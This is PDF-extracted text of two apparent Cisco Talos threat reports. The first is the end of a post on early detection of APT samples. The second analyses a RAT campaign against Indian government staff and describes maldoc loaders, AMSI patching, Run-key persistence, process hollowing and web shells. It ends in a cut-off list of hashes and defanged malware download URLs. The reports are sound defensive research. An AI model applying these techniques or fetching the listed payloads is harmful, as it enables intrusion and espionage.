APT CAMPAIGN (NUM OF SAMPLES) DAYS BEFORE APT CAMPAIGN PUBLICALLY IDENTIFIED Arid Viper (1 SAMPLE) -50 Equation (1 SAMPLE) 1 BrutPOS (6 SAMPLES) -64 As illustrated in the table above, we identied eight malicious samples that were in the wild before being associated with APT campaigns.
It is important to repeat that most of these samples were detected as malicious the moment they rst appeared on our customers machines.
Surprisingly, one sample of the Equation APT campaign (fanny worm) was found and blocked on a Cisco AMP customers machine a day after the public release of the Kaspersky report.
HASH (SHA256) DATE DISPOSITION APT 003315B0AEA2FCB9F77D29223DD8947D0E6792B3A0227E054BE8EB2A11F443D9 2015-02-17 MALICIOUS EQUATION 003315B0AEA2FCB9F77D29223DD8947D0E6792B3A0227E054BE8EB2A11F443D9 2015-02-17 MALICIOUS EQUATION 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2014-12-20 UNKNOWN ARID VIPER 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2014-12-20 MALICIOUS ARID VIPER 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2015-01-02 MALIICIOUS ARID VIPER 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2015-01-16 MALICIOUS ARID VIPER 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 2015-02-12 MALICIOUS ARID VIPER CISCO AMP https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 6/10 14BFDA4A4ACA1276388702D0FB7629AF120FF34C1ACDEB7613815F2981C99832 2014-05-07 MALICIOUS BRUTPOS 508909C8A00026C904F52099DD62BBF4062B4E8E40FC0601BD9E13570514B4F5 2014-05-06 MALICIOUS BRUTPOS 7170A07BCB5B0467A75CBD17A1A1877AEC3C8EA43C45D3BED6AB5E6C95A62713 2014-05-06 MALICIOUS BRUTPOS 9A10916AD0F43FA3376C2E54FD5CFDD06D684B3A19895ED4107FAF9F3313DCDA 2014-05-07 MALICIOUS BRUTPOS E28EABEB678AFB5E172F4127C5692E742809FD86DFA8478C1DC6F9C13B2A8E5F 2014-05-06 UNKNOWN BRUTPOS E28EABEB678AFB5E172F4127C5692E742809FD86DFA8478C1DC6F9C13B2A8E5F 2014-05-07 MALICIOUS BRUTPOS Based on our logs, Cisco AMP found the sample 015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 twice on 2015-12-20.
It was unknown to AMP the rst time, but detected as malicious the second time.
E28EABEB678AFB5E172F4127C5692E742809FD86DFA8478C1DC6F9C13B2A8E5F was unknown to AMP on 2014-05-06, but detected as malicious the next time it was seen on a customers machine on 2014-05-07.
In all the other cases the samples were already considered malicious.
As the number of threats per day continues to increase, the number of malware samples security companies automatically analyze increases.
Much of the analysis is comprised of dynamic analysis systems, such as sandboxes, to determine whether the sample is malicious or not.
These samples are then stored for further analysis.
Due to the large numbers of samples, in many organizations the vast majority of these samples remain categorized solely on the initial sandbox run.
Even when these samples are shared among companies or via other services like VirusTotal some malware samples can go unnoticed for months because they are marked as malware but given some generic name, such as Win.
Trojan.
Agent.
Then we are shocked when a security company discovers an APT campaign that has supposedly gone unnoticed for years.
The results of this post conrm the assumption of the Usenix paper, also based on a dataset of a big security company and similar results are expected throughout the security industry.
Many times, malware is initially submitted to sandbox systems and marked as malicious based on the output of the sandbox.
Then the authors use that information to tweak the sample to avoid detection in future sandbox runs through various evasion tactics.
In other situations, the initial sample may not even be agged as malicious due to evasion techniques being utilized.
By performing statistical analysis and reducing the data through clustering, even samples that avoid initial sandbox detection CONCLUSION http://www.s3.eurecom.fr/docs/usenixsec15_graziano.pdf 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 7/10 S H A R E  T H I S  P O S T reducing the data through clustering, even samples that avoid initial sandbox detection can potentially be detected as malicious.
There is clearly a need for more advanced analytical systems to identify campaigns and link the samples together.
Identifying todays threats requires multiple layers of protection at various points across the network, along with constantly updated threat intelligence information.
Cisco analyzes a massive amount of telemetry data and is able to ag malware as malicious based on multiple factors.
By performing manual and programmatic analysis of sandbox data in conjunction with identifying behaviors which are associated with malicious activity, even unknown APT campaigns can be neutralized.
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1/32 Operation Armor Piercer: Targeted attacks in the Indian subcontinent using commercial RATs blog.talosintelligence.com/2021/09/operation-armor-piercer.html By Asheer Malhotra, Vanja Svajcer and Justin Thattil.
Cisco Talos is tracking a campaign targeting government personnel in India using themes and tactics similar to APT36 (aka Mythic Leopard and Transparent Tribe).
This campaign distributes malicious documents and archives to deliver the Netwire and Warzone (AveMaria) RATs.
The lures used in this campaign are predominantly themed around operational documents and guides such as those pertaining to the Kavach (hindi for armor) two-factor authentication (2FA) application operated by Indias National Informatics Centre (NIC).
This campaign utilizes compromised websites and fake domains to host malicious payloads, another tactic similar to Transparent Tribe.
Whats new?
Cisco Talos recently discovered a malicious campaign targeting government employees and military personnel in the Indian sub-continent with two commercial and commodity RAT families known as NetwireRAT (aka NetwireRC) and WarzoneRAT (aka Ave Maria).
The attackers delivered a variety of lures to their targets, predominantly posing as guides related to Indian governmental infrastructure and operations https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html https://twitter.com/asheermalhotra https://twitter.com/vanjasvajcer https://twitter.com/ThattilJustin https://www.nic.in/ https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria 2/32 such as Kavach and I.T.-related guides in the form of malicious Microsoft Office documents (maldocs) and archives (RARs, ZIPs) containing loaders for the RATs.
Apart from artifacts involved in the infection chains, weve also discovered the use of server-side scripts to carry out operational tasks such as sending out malicious emails and maintaining presence on compromised sites via web shells.
This provides additional insight into the attackers operational TTPs.
Some of these lures and tactics utilized by the attackers bear a strong resemblance to the Transparent Tribe and SideCopy APT groups, including the use of compromised websites and fake domains.
How did it work?
This campaign uses a few distinct, yet simple, infection chains.
Most infections use a maldoc that downloads and instruments a loader.
The loader is responsible for downloading or decrypting (if embedded) the final RAT payload and deploying it on the infected endpoint.
In some cases, weve observed the use of malicious archives containing a combination of maldocs, loaders and decoy images.
The RAT payloads are relatively unmodified, with the command and control (C2) IPs and domains being the most pivotal configuration information.
So what?
This campaign illustrates another instance of a highly motivated threat actor using a set of commercial and commodity RAT families to infect their victims.
These RATs are packed with many features out-of-the-box to achieve comprehensive control over the infected systems.
It is also highly likely that these malware families establish footholds into the victims networks to deploy additional plugins and modules.
Infection chains The earliest instance of this campaign was observed in December 2020 utilizing malicious Microsoft Office documents (maldocs).
These maldocs contain malicious VBA macros that download and execute the next stage of the infection  the malware loader.
The maldocs content ranges from security advisories, to meeting schedules, to software installation notes.
These maldocs contain malicious macros that download and execute the next stage payload on the victims endpoint.
The final payload is usually a RAT that can perform a multitude of malicious operations on the infected endpoint.
https://talosintelligence.com/resources/306 https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html https://blog.talosintelligence.com/2021/07/sidecopy.html 3/32 The maldocs pose as documents related to either meeting schedules pertinent to the victims, or as technical guides related to the Government of Indias IT infrastructure.
It is likely that these files are either delivered as attachments or links in spear-phishing emails where the verbiage is meant to social engineer the victims into opening the maldoc attachments or downloading them from an attacker-controlled link.
Some file names used are: KAVACH-INSTALLATION-VER-1.docm Security-Updates.docm Online meeting schedule for OPS.doc schedule2021.docm Interestingly, weve observed the use of Kavach-themed maldocs and binaries being used in recent SideCopy attacks.
Malicious macro in maldoc downloading and executing the next stage payload.
Stage 2  Loaders The payload is usually loader binaries aimed at instrumenting the final malware payload.
These loaders will use either of the following techniques to instrument the final malware payloads on the endpoint: 4/32 Download payload from remote location and activate using process hollowing into itself or a target process.
Decode embedded payload and activate using process hollowing.
Depending on the variants, the loaders may also perform the following peripheral activities: Disable AMSI scanning by patching the first six bytes of the AmsiScanBuffer API.
Set up persistence via registry for the next stage malware payload dropped to disk using the HKCU\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run keys.
Downloaders Throughout March and April 2021, the attackers utilized downloaders to download and execute the RAT payloads from remote locations.
The earliest versions of this loader used RunPE DLLs to inject the malware payloads into a specified target process via hollowing.
.NET loader utilizing RunPE.dll to inject AveMaria RAT payload into InstallUtil.exe.
In May 2021, the attackers used the next iteration of their C-based downloader that reaches out to a decoy URL and only proceeds with execution if the communication process fails.
5/32 Downloader reaching out to a decoy URL and executing actual functionality in the catch code block.
This downloader then proceeds to patch the AmsiScanBuffer API, establishes persistence for the next stage payload and invokes it at the end.
The payload in the next stage consists of legitimate .NET-based applications trojanized with the ability to decrypt and deploy the NetwireRAT malware.
6/32 7/32 AMSI bypass, persistence and invocation by the loader.
Toward the beginning of June 2021, the attackers started experimenting with the use of Pastebin as a payload-hosting platform.
The downloader reached out to a Pastebin URL via cURL to download and inject the payload into its own running process.
Evolution of the downloaders: Loaders with embedded payloads 8/32 The attackers modified open-source projects with code to load trojanized .NET-based binaries as loaders for the RATs dating as far back as December 2020.
One of the droppers we analyzed is based on the Pangantucan Community High School library management system application.
It is likely that the loader is based on a crypter available to the attackers since weve observed other crimeware families such as Formbook use similar loaders to infect their targets.
The original application Initialization code for Form1.
The same function in the trojanized version calls a constructor to the added ISectionEntry class.
https://github.com/bwjctan1999/PCHS-Library-Manager https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook 9/32 The loader modified the Login form with a call to a function that loads a DLL loader with the assembly name SimpleUI.
The second-stage loader is extracted from the .NET resource with the name Draw.
The assembly extracted from the Draw resource is responsible for decoding and loading a Netwire injector module which is stored as the AuthorizationRule bitmap resource in the original trojanized loader.
AutorizationRule blob parsed as a bitmap image (464,147 bytes long).
The injector is responsible for deploying the netwireRAT binary present in its .NET resources into a target process, such as vbc.exe.
Stage 3  Final payloads The Netwire and AveMaria RAT families are eventually downloaded and executed on the victim machine.
In some cases, weve also discovered the deployment of custom .NET-based file enumerator modules that generate and exfiltrate file path listings of specific file extensions on the infected systems.
Maldoc infection chain variation In one instance, the attackers used a different variation of the infection chain that starts with a malicious document delivered to the victim.
The macro in the maldoc downloads and executes a VBScript (VBS) instead of directly downloading the malware payload.
10/32 The VBS contains many junk comments interlaced with the actual malicious code.
The malicious code will execute an encoded PowerShell command to download the next payload.
The PowerShell downloads a malicious archive and an unzip utility such as 7-Zip from a remote location.
This utility unzips and runs the malware payload from the archive file.
An example of the command used to unzip the archive is: 7za.exe x -y -aoa -bso0 -bse0 -bb0 -bd archive_file_path Decoded PowerShell commands to activate the next-stage payload.
Infection chain diagram: 11/32 The final payload in this infection chain is a loader for AveMariaRAT.
Archive-based infections In other infection attempts dating as far back as December 2020, the attackers hosted malicious ZIP archives containing malware payloads on compromised websites.
It is likely that the URLs to these archive files were sent to victims to make them download and open the malware payload on their endpoints.
12/32 Three distinct archives containing the malicious payloads.
The malicious binaries from the archives found thus far load and instrument NetwireRAT.
Payload Analysis NetwireRAT Netwire is a highly versatile RAT consisting of multiple capabilities including: Stealing credentials from browsers.
Execute arbitrary commands.
Gather system information.
File management operations such as write, read, copy, delete files, etc.
Enumerate, terminate processes.
Keylogging.
13/32 NetwireRAT keylogger.
Ave Maria/WarzoneRAT Ave MariaRAT, also known as WarzoneRAT, is a commercial RAT available for purchase to malicious operators although there are cracked versions of Warzone available online.
14/32 15/32 WarzoneRAT capabilities (snip) as advertised by its authors.
Like Netwire, WarzoneRAT is also packed with a variety of functionalities including: Remote desktop.
Webcam capture.
Credential stealing from browsers and email clients.
File management operations such as write, read, copy, delete files etc.
Execute arbitrary commands.
Keylogging.
Reverse shells.
Enumerate, terminate processes.
16/32 17/32 Reverse shell functionality in WarzoneRAT.
File enumerators Apart from the two RATs, weve also observed specialized reconnaissance malware being deployed on the victims endpoints instead of a RAT family.
The attackers deployed a preliminary recon tool to enumerate specific folders looking for certain file extensions.
The file listings/paths found are uploaded to an attacker- controlled C2 server.
The locations targeted were: C:\Users\current_user\Downloads\ C:\Users\current_user\Desktop\ C:\Users\current_user\Documents\ C:\Users\current_user\OneDrive\Downloads\ C:\Users\current_user\OneDrive\Desktop\ C:\Users\current_user\OneDrive\Documents\ The file extensions searched for were: .txt, .doc, .dot, .wbk, .docx, .docm, .dotx, .dotm, .docb, .xls, .xlt, .xlm, .xlsx, .xlsm, .xltx, .xltm, .xlsb, .xla, .xlam, .xll, .xlw, .ppt, .pot, .pps, .pptx, .pptm, .potx, .potm, .ppam, .ppsx, .ppsm, .sldx, .sldm, .pdf 18/32 File enumerator malware module looking for specific file extensions.
Analyses and observations Targeting An extremely common theme of maldocs and archives discovered in this campaign refers to the Government of Indias Kavach application.
This is a two-factor authentication (2FA) application used by government employees to access their emails.
This theme has been used recently by the SideCopy APTs campaigns targeting Indian government personnel, as well.
Some of the malicious artifacts using the Kavach theme in the current campaign are named: KAVACH-INSTALLATION-VER-1.docm KAVACH-INSTALLATION-VER1.5.docm KAVACH-INSTALLATION-VER-3.docm kavach-2-instructions.zip kavach-2-instructions.exe KAVACH-INSTALLATION-V3.zip KAVACH-INSTALLATION-V3.exe Other file names indicating targeting of military and government personnel consist of: CONFD-PERS-Letter.docm PERS-CONFD-LETTER.exe 19/32 Admiral_Visit_Details_CONFD.exe Pay and Allowance Details.xls Compromised websites The attackers have relied on a combination of compromised websites and fake domains to carry out their operations  a tactic similar to that of the Transparent Tribe APT group.
However, what stands out in this campaign is the focus on compromising quasi-military or government-related websites to host malicious payloads.
This might have been done to appear legitimate to victims and analysts.
For example, the attackers compromised and maintained access to a quasi-defense-related website dsoipalamvihar[.]co[.
]in belonging to the Defence Services Officers Institute (DSOI) using it to host netwireRAT-related payloads since January 2021.
In another instance, the attackers compromised the website for the Army Public Schools of India (apsdigicamp[.
]com) to host a variety of malicious archives serving NetwireRAT again.
On the other hand, the attackers used a fake domain govrn[.
]xyz in July 2021 to host maldocs for their infection chains.
20/32 Malicious scripts and payloads hosted on a compromised website.
21/32 Infrastructure The compromised websites were used heavily to host artifacts from maldocs to RATs.
However, these websites hosted a few other malicious artifacts as well.
The artifacts scripts were used as: Emailers.
Web shells.
CSRF PoC generator.
File uploaders.
None of these scripts have been written from scratch or customized heavily by the attackers.
This practise is in sync with their RAT deployments  neither the RAT payloads nor the infrastructure scripts have been modified except their configurations.
The actual effort instead is put into social engineering and infecting victims.
Proliferation through emails A variety of mailers have been used by the attackers to proliferate the maldocs, archives and download links: TeamCC ninjaMailer v1.3.3.7 Leaf PHPMailer 2.7 Leaf PHPMailer 2.8 These PHP-based scripts are capable of configuring SMTP options and generating spear-phishing emails that can be distributed to victims with malicious payloads or links.
https://github.com/merttasci/csrf-poc-generator 22/32 TeamCC NinjaMailer hosted by the attackers on one of the compromised sites.
Administration The attackers utilized two types of management scripts to administer the compromised websites.
PHP and Perl-based web shells maintain browser-based access to the sites and perform administrative actions such as file management, process management and viewing file contents.
The web shells used are: PhpSpy b374k 2.7 Older b374k web shell b374k web shells login page on the compromised site.
23/32 Older Perl-based b374k web shell hosted on a compromised site.
The attackers also deployed a file uploader utility (created by Pakistan Haxors Crew) to upload files to the sites without having to go through the web shells.
File uploader.
24/32 Conclusion This campaign has been ongoing since the end of 2020 and continues to operate today.
The attackers initially deployed Netwire and Warzone RATs on the infected endpoints.
The use of these RATs benefits an adversary twofold  it makes attribution difficult and saves the effort to create bespoke implants.
Beginning in July 2021, however, we observed the deployment of the file enumerators alongside the RATs.
This indicates that the attackers are expanding their malware arsenal to target their victims: military and government personnel in India.
Infection tactics including government-themed lures, deployment of commodity/commercial RATs and file enumerators and the use of compromised and attacker-owned domains indicates a strong resemblance to SideCopy and Transparent Tribe.
Unlike many crimeware and APT attacks, this campaign uses relatively simple, straightforward infection chains.
The attackers have not developed bespoke malware or infrastructure management scripts to carry out their attacks, but the use of prebaked artifacts doesnt diminish the lethality of these attacks.
In fact, ready-made artifacts such as commodity or cracked RATs and mailers allow the attackers to rapidly operationalize new campaigns while focusing on their key tactic: tricking victims into infecting themselves.
Coverage Ways our customers can detect and block this threat are listed below.
25/32 Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.
Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign.
You can try Secure Email for free here.
Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.
https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/index.html https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/free-trial.html?utm_medium3Dweb-referral?utm_source3Dcisco26utm_campaign3Damp-free-trial26utm_term3Dpgm-talos-trial26utm_content3Damp-free-trial https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html https://www.cisco.com/c/en/us/products/security/email-security/index.html https://www.cisco.com/c/en/us/products/security/cloud-mailbox-defense?utm_medium3Dweb-referral26utm_source3Dcisco26utm_campaign3Dcmd-free-trial-request26utm_term3Dpgm-talos-trial https://www.cisco.com/c/en/us/products/security/firewalls/index.html https://www.cisco.com/c/en/us/products/collateral/security/firepower-ngfw-virtual/datasheet-c78-742858.html https://www.cisco.com/c/en/us/products/security/adaptive-security-appliance-asa-software/index.html https://meraki.cisco.com/products/appliances 26/32 Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Umbrella, Ciscos secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.
Sign up for a free trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
Orbital Queries Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat.
For specific OSqueries on this threat, click below: Warzone/AVEMARIA Netwire registry Netwire downloader File enumerator IOCs Hashes Maldocs 9b7c0465236b7e1ba7358bdca315400f8ffc6079804f33e2ca4b5c467f499d1f eb40d1aab9a5e59e2d6be76a1c0772f0d22726dd238110168280c34695a8c48f 6b0fde73e638cb7cdb741cff0cc4ec872338c106ffe0c3a6712f08cdb600b83d https://www.cisco.com/c/en/us/products/security/stealthwatch/index.html https://www.cisco.com/c/en/us/products/security/threat-grid/index.html https://umbrella.cisco.com/ https://signup.umbrella.com/?utm_medium3Dweb-referral?utm_source3Dcisco26utm_campaign3Dumbrella-free-trial26utm_term3Dpgm-talos-trial26utm_content3Dautomated-free-trial https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html https://signup.duo.com/?utm_source3Dtalos26utm_medium3Dreferral26utm_campaign3Dduo-free-trial https://www.snort.org/products https://orbital.amp.cisco.com/help/ https://github.com/Cisco-Talos/osquery_queries/blob/master/win_malware/malware_avemaria_filepath.yaml https://github.com/Cisco-Talos/osquery_queries/blob/master/win_malware/malware_netwirerat_registry.json https://github.com/Cisco-Talos/osquery_queries/blob/master/win_malware/malware_netwire_downloader_filepath.yaml https://github.com/Cisco-Talos/osquery_queries/blob/master/win_malware/malware_file_enumerator_filepath.yaml 27/32 2b23c976b4aca2b9b61c474e0d6202644d97b48fa553cd6c9266c11b79d3cd13 41b1c3fa6b8a11fde6769650977d7bc34e0da91a23dd2b70220beec820e17d7a e6a73ef757c834e155a039619a1fdb1388f2a7ebe80accae8d13deeb3fd66471 89280f7e1785b1c85432b4cf3a284e44d333b2a1a43a2e52d7ce8680a807be03 302a973dc432975395c5f69a4c8c75bfffc31350176f52bddb8e4717bdbad952 5d3220db34868fc98137b7dfb3a6ee47db386f145b534fb4a13ef5e0b5df9268 62a890cce10f128f180d6e2b848ffff42e32859fe58a023b2bdb35dbe0a1713b 0d64fd162d94601ddd806df804103f3713c4aa43c201fffb9c92783c29d6094c 824bb11ef1520aecca35ad9abd8e043e4e00193668590d4aee2a41f205db7388 bdb40d5e73e848ada64f334eddd184fb67e2fcdc149248db641bb8d804468f1d eef5e86ebff5c59204009f4d421b80518ce3edf9c9b1bb45fb2197d9f652a927 c1eba59ce0ff5d8f57fe0ae0a9af20cb0fa725fc05a58869bb0b85c2d3b815fb Downloaders 49485a737673365489cb89ef1f5c29545051b33aa1642a8940e15ad281b76dfc a8c67a11ed522bf597feb8b50a5b63f12a5ac724ae6adcc945475654128f6d64 f8748c726bda6d67c7130aae8777d7dcb5b0cca8695041b290e9d9cb95a0a633 3cdedd433c9dde56bfa0a6559a97287c7aec3346178ce2d412a255d8ed347307 626f00a260880c6bfa0a955fd0c89336a691e438c4bc9206182a05db3774b75a 89db68dcdbae6fca380029c1e5c5158fb5d95db8034f1ee7dbac36cf07057828 68ddb86dd74285a0b6f12ec8adca9a8ea4569ef1143bec9e8ebe411b2a71720f c8ffb9d14a28fbc7e7f6d517b22a8bb83097f5bc464c52e027610ab93caec0d6 RunPE loader DLL d09cac8cd7c49b908e623220a9b2893822263ae993c867b5bd4fce562d02dcd5 C based netwire loaders 5965bba31eb30dedf795012e744fe53495d5b0c1bea52eea32e9924819e843d1 455ac9cc21fcb20a14caa76abd1280131fecae9d216b1f6961af2f13081c2932 304c2f88ccd6b0b00cfcb779b8958d9467c78f32b7177949899d3e818b3b9bed cf2261c7911f8481f7267b73b64546ca851b5471dab3290ce0140f956823348a 6f8267a673ca5bc9fa67198c9c74d34109baf862f9194bbb0ebcc7ddd7b66b91 ea201379e3d7343fc7a8fbe0451766f1cea36b66c13cfbf78c4ac7ffb1eb3d93 1455a003412e344d60c8bad71977aa42bb9825cffa5417e45b08070b14e5df3f netwireRC 28/32 91acdc04a03134c17ccff873f10e90c538ed74c7ab970b9899ac5c295e165a75 b76be2491b127a75c297b72e1cf79f46f99622ddf4ba3516a88b47d9b6df9131 d5b7edfc886c8228197b0cf20ab35f1bc0b5c652b1d766456d4e055ba6c9ea6e fd413ec8d9d798c28fc99c0633e6477f6eabc218788ad37c93be4de758a02962 cf2aec2969353dc99a7f715ac818212b42b8cff7a58c9109442f2c65ff62de42 8284550711419f4c65083dc5de3c6b92164d8d0835ec864e9a2db9c4c0d067e4 5f6571251fd36a4ec0b101c3b0be4099bc1c812d57bef57f310291d314e638ba 39ff95ecb1036aab88a146714bb5b189f6afc594ecf8ffbe8b123d1579a3a259 3e59b3504954efd9b4231cb208296ed9f19f4430e19db81e942b304ee0255324 cd43bac8f7a0a3df4f654ed698f5828db7a05c771956b924bfd6bd5ba09e2360 051f67ba58bd2b7751541bf2eb3a09642a00a43052c0d3487a182345828ee076 aa3d57993bbc7aefdc05e0e99ccdb5e884aa530ae90437157c7ba2308d9c4d3c 8ce30043aba8c9ad33c11c3de152fe142ba7b710384f77d332076957d96e19b2 5226a12dc7f7b5e28732ad8b5ad6fa9a35eadfbeec122d798cd53c5ef73fe86a 2a7f0af4650edb95eb7a380de6d42db59d8dd220bb4831e30e06450e149eea49 7c12a820fd7e576f3a179cdccaefbfcd090e0f890fccfab7615bc294795dc244 977d5b4b945cfce92e40e4d5447626f3ffb7697d98f651b9598edfd58074b9c0 98337b43e214906b10222722607f76d07a5c0419a9dc3b3af415680c60944809 2443e8ccdf51e82d310466955a70013155c139564672b2f79db7209207776bd2 de10443785cf7d22db92fada898a77bc32c7505931b692110d2d5cd63c5b4853 Warzone/AVEMARIA b891fad315c540439dba057a0f4895ae8bae6eed982b0bf3fb46801a237c8678 aa2b8412cf562c334052d5c34a2e5567090e064b570884d6f4d3e28806822487 999f4892d10eb6cfabe172338c1e7dd3126a2cd435bdb59748178f1d4d2d3b33 140e0524f4770fc2543b86f1d62aaa6b3018c54e40250040feaa2f24bdbe974d 0df12b0f704dbd5709f86804db5863bd0e6d6668d45a8ff568eefbaa2ebfb9fd 369e794e05e0d7c9bba6dde5009848087a2cd5e8bf77583d391e0e51d21a52cd 480e57131bd186e31ab5ea534381d7b93c8030f8b5757bde9d0b6039efa3e64d File Enumerators df780cccc044ee861af1089eb7498a612e6d740a609e500fd3c2a35d2c9c31e0 a20970aa236aa60d74841e7af53990c5da526f406c83fd1bedb011290517d9b0 54a65835dc5370b089c38414972c8da589512cf73b159e8187cdda62092dc463 3634b81f8b91d723733cc44429d221e53b2a7bf121e42bd26078602f4ff48f86 VBS 29/32 e9edb427d080c0a82e7b1c405171746cb632601b3d66f9d7ad5fa36fd747e4e4 Malicious archives 2f98235351c6d6bafbb237195f2556abde546578aefd7d94f8087752551afc15 87fc9901eb7c3b335b82c5050e35458a2154747cd3e61110eed4c107f4ffada9 b4c0f24a860f14b7a7360708a4aee135bf1a24d730d7794bc55e53a31a0e57a5 ba710351cfdf6b198d7479a91e786562ddb5e80db5dc9ad42278093a3395fca9 8e7d5805a104dc79355387dbd130e32d183b645f42f7b35c195041d1cf69f67e 2b7ac9063a530e808ffac5cf9812d850dd5fa4d1f014ba5134ad023fde503d21 de245cd946e48a4b1c471b17beff056b1a2566770a96785208c698f85fb73db2 689f3ff0a3331e198ea986864b2b23a62631c930d83b971382b4732474884953 3794cfe8f3da39924cabd03d74aa95fb5d0c25c73d09cc99ad95c3f4e17252b8 5a351acfe61a0ad9444b8d23c9915d7beb084abd7b346b9d064e89914552596d Malicious server side scripts a8af6228296bc9ac2cd7b7bf503c9755947c844fec038255189a351bcb92bb6d b54f21a5d20457424440fdf5a57c67924854b47cf85d6a5f26daeaf183e82b69 8ea420deaa86c778fc6a3b1b22bd0c2ea822089e948ad8f113c9e5b0539e92a7 c86f6fdb6b360c12de1f75c026dc287aa9de1b8e9b5e5439eeab9e33de3e475e 8cca06ea80a92f31418f2ed0db5e1780cc982ab185f9bf15fa6f396b561aad1f b9b04fcae747407b9e5ddec26438d9edf046de0745ea4175e4d534a7b575d152 4ded1042a6cd3113bb42c675257d7d0153a22345da62533bd059d9bdd07c000f 65ed397a4a66f45f332269bec7520b2644442e8581f622d589a16ad7f5efbf82 c6ea094954a62cf50d3369f6ea1d9e7d539bb7eb6924005c3c1e36832ed3d06e c9a88d569164db35c8b32c41fda5c3bd4be0758fa0ea300f67fbb37ddc1f3f8d c75cc5af141dc8ea90d7d44d24ff58a6b3b0c205c8d4395b07de42d285940db1 8b4a7d6b3de3083a8b71ec64ff647218343f4431bbb93a6ce18cb5f33571a38e 37d0d9997776740ae3134ec6a15141930a9521cd11e2fbb8d0df6d308398f32e Network IOCs Maldoc download locations hxxp://service[.]clickaway[.
]com//ccrs_tool/uploads/722CDfdBpfUbRyg.bbc hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/feedback.docm hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/Security-Updates.docm 30/32 hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/r.docm hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/abc/r.docm hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/abc/CONFD-PERS-Letter.docm hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/KAVACH-INSTALLATION-VER1.5.docm hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/ma/KAVACH-INSTALLATION-VER-1.docm hxxps://aps[.]govrn[.
]xyz/schedule2021.docm Loader/RAT download locations hxxp://www[.
]bookiq.bsnl.co.in/data_entry/circulars/QA2E.exe hxxp://www[.
]bookiq.bsnl.co.in/data_entry/circulars/Host1.exe hxxp://www[.]bookiq[.]bsnl[.]co[.
]in/data_entry/circulars/mac.exe hxxp://www[.]bookiq[.]bsnl[.]co[.
]in/data_entry/circulars/mmaaccc.exe hxxp://www[.]bookiq[.]bsnl[.]co[.
]in/data_entry/circulars/mac.exe hxxp://www[.]bookiq[.]bsnl[.]co[.
]in/data_entry/circulars/mmaaccc.exe hxxp://www[.]bookiq[.]bsnl[.]co[.
]in/data_entry/circulars/mmaaccc.exe hxxp://www[.]bookiq[.]bsnl[.]co[.
]in/data_entry/circulars/Host1.exe hxxp://bookiq[.]bsnl[.]co[.
]in/data_entry/circulars/Host.exe hxxps://kavach[.]govrn[.
]xyz/shedule.exe hxxp://unicauca[.]edu[.
]co/regionalizacion/sites/default/files/kavach-1-5/Acrobat.exe hxxp://45[.
]79.81.88/ccrs_tool/uploads/mac.exe hxxp://45[.
]79.81.88/ccrs_tool/uploads/maaccc.exe hxxp://45[.
]79.81.88/ccrs_tool/uploads/maacc.exe hxxp://45[.
]79.81.88/ccrs_tool/uploads/VPN.exe hxxp://45[.
]79.81.88/ccrs_tool/uploads/conhost213.exe hxxp://45[.]79.81[.
]88/ccrs_tool/uploads/new_war.exe hxxp://45[.
]79.81.88/ccrs_tool/uploads/private.exe hxxp://45[.]79[.]81[.
]88/ccrs_tool/uploads/notice.exe hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/conhost123.exe hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/Host1.exe hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/mac.exe hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/maaacccc.exe hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/maaccc.exe hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/maacc.exe hxxp://service[.]clickaway[.
]com/ccrs_tool/uploads/VPN.exe hxxp://service[.]clickaway[.
